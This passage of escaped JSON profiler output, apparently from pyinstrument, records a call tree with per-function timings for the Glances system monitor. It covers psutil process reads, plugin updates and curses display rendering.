\"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999808003660291, \"l314\": 0.007999808003660291},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999808003660291, \"l347\": 0.005999567001708783, \"l341\": 0.0020002410019515082},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l394\": 0.003999051004939247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l1593\": 0.003999051004939247},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l1857\": 0.003999051004939247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l1593\": 0.003999051004939247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l375\": 0.003999051004939247},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999051004939247, \"l1683\": 0.002000708002015017, \"l1689\": 0.00199834300292423},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002000708002015017},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l718\": 0.002000708002015017},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002000708002015017},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"get_io_counters\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000542\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.002000858999963384, \"l565\": 0.002000858999963384},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001999,\"attributes\": {\"cGlancesProcesses\": 0.001998956999159418, \"l689\": 0.001998956999159418},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001999,\"attributes\": {\"l589\": 0.001998956999159418},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001999,\"attributes\": {\"l584\": 0.001998956999159418},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020001629964099266, \"l155\": 0.0020001629964099266},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0020001629964099266, \"l711\": 0.0020001629964099266},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l71\": 0.0020001629964099266},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002000,\"attributes\": {\"l46\": 0.0020001629964099266},\"children\": [{\"identifier\": \"__add__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000833\",\"time\": 0.002000,\"attributes\": {\"cCounter\": 0.0020001629964099266, \"l847\": 0.0020001629964099266},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007999136003491003, \"l678\": 0.007999136003491003},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005998460001137573, \"l656\": 0.003999397005827632, \"l634\": 0.0019990629953099415},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019990629953099415, \"l628\": 0.0019990629953099415},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002025,\"attributes\": {\"cPercpuPlugin\": 0.002025347996095661, \"l1278\": 0.002025347996095661},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002025,\"attributes\": {\"l1295\": 0.002025347996095661},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/percpu/__init__.py\\u0000127\",\"time\": 0.002025,\"attributes\": {\"cPercpuPlugin\": 0.002025347996095661, \"l133\": 0.002025347996095661},\"children\": [{\"identifier\": \"get_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000308\",\"time\": 0.002025,\"attributes\": {\"cCpuPercent\": 0.002025347996095661, \"l315\": 0.002025347996095661},\"children\": [{\"identifier\": \"_compute_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000318\",\"time\": 0.002025,\"attributes\": {\"cCpuPercent\": 0.002025347996095661, \"l324\": 0.002025347996095661},\"children\": [{\"identifier\": \"round\\u0000<built-in>\\u00000\",\"time\": 0.002025,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002025,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000242\",\"time\": 0.002052,\"attributes\": {\"cProcesslistPlugin\": 0.0020524270003079437, \"l260\": 0.0020524270003079437},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002052,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009939,\"attributes\": {\"cProcesslistPlugin\": 0.0099394150020089, \"l678\": 0.007934713001304772, \"l686\": 0.0020047020007041283},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007935,\"attributes\": {\"cProcesslistPlugin\": 0.007934713001304772, \"l633\": 0.0059359619990573265, \"l656\": 0.0019987510022474453},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001925,\"attributes\": {\"cProcesslistPlugin\": 0.0019248480020905845, \"l621\": 0.0019248480020905845},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001925,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001925,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002012,\"attributes\": {\"cProcesslistPlugin\": 0.0020123150025028735, \"l621\": 0.0020123150025028735},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002012,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.020076,\"attributes\": {\"cFsPlugin\": 0.016548453000723384, \"l1278\": 0.020075854001333937, \"cWifiPlugin\": 0.0017145039964816533, \"cQuicklookPlugin\": 0.0018128970041288994},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.020076,\"attributes\": {\"l1295\": 0.020075854001333937},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016548,\"attributes\": {\"cFsPlugin\": 0.016548453000723384, \"l131\": 0.016548453000723384},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016548,\"attributes\": {\"cFsPlugin\": 0.016548453000723384, \"l182\": 0.016548453000723384},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016548,\"attributes\": {\"l630\": 0.0032309189991792664, \"l631\": 0.013317534001544118},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003231,\"attributes\": {\"cForkProcess\": 0.0032309189991792664, \"l121\": 0.0032309189991792664},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003231,\"attributes\": {\"l281\": 0.0032309189991792664},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003231,\"attributes\": {\"cPopen\": 0.0032309189991792664, \"l20\": 0.0032309189991792664},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003231,\"attributes\": {\"cPopen\": 0.0032309189991792664, \"l70\": 0.0032309189991792664},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003231,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.013318,\"attributes\": {\"cForkProcess\": 0.013317534001544118, \"l156\": 0.013317534001544118},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.013318,\"attributes\": {\"cPopen\": 0.013317534001544118, \"l41\": 0.013317534001544118},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.013318,\"attributes\": {\"l1165\": 0.013317534001544118},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.013318,\"attributes\": {\"cPollSelector\": 0.013317534001544118, \"l398\": 0.013317534001544118},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.013318,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005771,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.007546,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001715,\"attributes\": {\"cWifiPlugin\": 0.0017145039964816533, \"l101\": 0.0017145039964816533},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001715,\"attributes\": {\"cWifiPlugin\": 0.0017145039964816533, \"l119\": 0.0017145039964816533},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001715,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001813,\"attributes\": {\"cQuicklookPlugin\": 0.0018128970041288994, \"l134\": 0.0018128970041288994},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001813,\"attributes\": {\"l30\": 0.0018128970041288994},\"children\": [{\"identifier\": \"str.split\\u0000<built-in>\\u00000\",\"time\": 0.001813,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001813,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062096,\"attributes\": {\"cGlancesCursesStandalone\": 2.0620964240006288, \"l1154\": 0.051925184998253826, \"l1169\": 1.0054158499915502, \"l1172\": 1.0047553890108247},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051925,\"attributes\": {\"cGlancesCursesStandalone\": 0.051925184998253826, \"l1135\": 0.0499107229989022, \"l1136\": 0.0020144619993516244},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049911,\"attributes\": {\"cGlancesCursesStandalone\": 0.0499107229989022, \"l569\": 0.047909354994772, \"l591\": 0.0020013680041301996},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047909,\"attributes\": {\"cGlancesCursesStandalone\": 0.047909354994772, \"l545\": 0.047909354994772},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047909,\"attributes\": {\"cProgramlistPlugin\": 0.02190812299522804, \"l1101\": 0.047909354994772, \"cProcesslistPlugin\": 0.02600123199954396},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047909,\"attributes\": {\"cProgramlistPlugin\": 0.02190812299522804, \"l587\": 0.047909354994772, \"cProcesslistPlugin\": 0.02600123199954396},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047909,\"attributes\": {\"cProgramlistPlugin\": 0.02190812299522804, \"l538\": 0.0459057279949775, \"cProcesslistPlugin\": 0.02600123199954396, \"l539\": 0.0020036269997945055},\"children\": [{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001992,\"attributes\": {\"cProgramlistPlugin\": 0.001991574994463008, \"l325\": 0.001991574994463008},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001992,\"attributes\": {\"cProgramlistPlugin\": 0.001991574994463008, \"l848\": 0.001991574994463008},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.001992,\"attributes\": {\"cProgramlistPlugin\": 0.001991574994463008, \"l801\": 0.001991574994463008},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.004002245004812721, \"l429\": 0.004002245004812721},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.004002245004812721, \"l276\": 0.0020098660024814308, \"l282\": 0.0019923790023312904},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.004002245004812721, \"l969\": 0.004002245004812721},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.003921,\"attributes\": {\"cProgramlistPlugin\": 0.003921037001418881, \"l323\": 0.002002133995119948, \"l325\": 0.0019189030062989332},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002002,\"attributes\": {\"l242\": 0.002002133995119948},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001919,\"attributes\": {\"cProgramlistPlugin\": 0.0019189030062989332, \"l874\": 0.0019189030062989332},\"children\": [{\"identifier\": \"get_limit_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000993\",\"time\": 0.001919,\"attributes\": {\"cProgramlistPlugin\": 0.0019189030062989332, \"l1001\": 0.0019189030062989332},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001919,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.003996,\"attributes\": {\"cProgramlistPlugin\": 0.003995622995716985, \"l440\": 0.003995622995716985},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.003996,\"attributes\": {\"cProgramlistPlugin\": 0.003995622995716985, \"l290\": 0.001993726000364404, \"l292\": 0.002001896995352581},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.003996,\"attributes\": {\"cProgramlistPlugin\": 0.003995622995716985, \"l963\": 0.001993726000364404, \"l969\": 0.002001896995352581},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019983640013379045, \"l309\": 0.0019983640013379045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999689975520596, \"l360\": 0.0019999689975520596},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999689975520596, \"l340\": 0.0019999689975520596},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999689975520596, \"l1251\": 0.0019999689975520596},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l459\": 0.0019999689975520596},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000820000830572, \"l361\": 0.002000820000830572},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000820000830572, \"l350\": 0.002000820000830572},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000820000830572, \"l1251\": 0.002000820000830572},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.00200181599939242, \"l367\": 0.00200181599939242},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992890011053532, \"l429\": 0.0019992890011053532},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992890011053532, \"l280\": 0.0019992890011053532},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998760002607014, \"l309\": 0.001998760002607014},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998760002607014, \"l885\": 0.001998760002607014},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998760002607014, \"l910\": 0.001998760002607014},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.002002811001148075, \"l323\": 0.002002811001148075},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002003,\"attributes\": {\"l242\": 0.002002811001148075},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997934996325057, \"l440\": 0.001997934996325057},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997934996325057, \"l296\": 0.001997934996325057},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997934996325057, \"l967\": 0.001997934996325057},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002200002607424, \"l303\": 0.002002200002607424},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002002,\"attributes\": {\"l242\": 0.002002200002607424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003994,\"attributes\": {\"cProcesslistPlugin\": 0.003993567996076308, \"l360\": 0.0019950179994339123, \"l361\": 0.001998549996642396},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.0019950179994339123, \"l341\": 0.0019950179994339123},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.0019950179994339123, \"l1130\": 0.0019950179994339123},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998549996642396, \"l350\": 0.001998549996642396},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998549996642396, \"l1251\": 0.001998549996642396},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001999,\"attributes\": {\"l459\": 0.001998549996642396},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000357002543751, \"l512\": 0.002000357002543751},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999293999688234, \"l471\": 